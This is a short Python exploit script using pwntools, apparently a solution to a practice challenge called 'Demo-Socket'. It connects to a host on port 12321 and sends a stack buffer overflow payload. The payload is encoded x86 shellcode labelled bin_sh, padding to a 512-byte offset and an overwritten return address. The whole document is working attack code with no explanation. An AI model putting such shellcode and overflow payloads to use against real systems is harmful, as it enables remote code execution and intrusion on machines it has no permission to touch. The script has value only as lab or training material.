HTR: Demo-Socket

a.py

from pwn import *

context(arch="i386", os="linux", log_level="debug")
r = remote("192.168.1.100", 12321)

bin_sh = b""
bin_sh += b"\xb8\x07\x5c\xd7\x1a\xd9\xc5\xd9\x74\x24\xf4"
bin_sh += b"\x5e\x2b\xc9\xb1\x12\x31\x46\x12\x83\xc6\x04"
bin_sh += b"\x03\x41\x52\x35\xef\x7c\xb1\x4e\xf3\x2d\x06"
bin_sh += b"\xe2\x9e\xd3\x01\xe5\xef\xb5\xdc\x66\x9c\x60"
bin_sh += b"\x6f\x59\x6e\x12\xc6\xdf\x89\x7a\x19\xb7\x6b"
bin_sh += b"\x6e\xf1\xca\x6b\xad\x83\x42\x8a\x01\xe5\x04"
bin_sh += b"\x1c\x32\x59\xa7\x17\x55\x50\x28\x75\xfd\x05"
bin_sh += b"\x06\x09\x95\xb1\x77\xc2\x07\x2b\x01\xff\x95"
bin_sh += b"\xf8\x98\xe1\xa9\xf4\x57\x61"

offset = 512

payload = b""
payload += bin_sh
payload += b"A" * (offset - len(bin_sh))
payload += p32(0x08048B73)
payload += p32(0x1)

r.sendline(payload)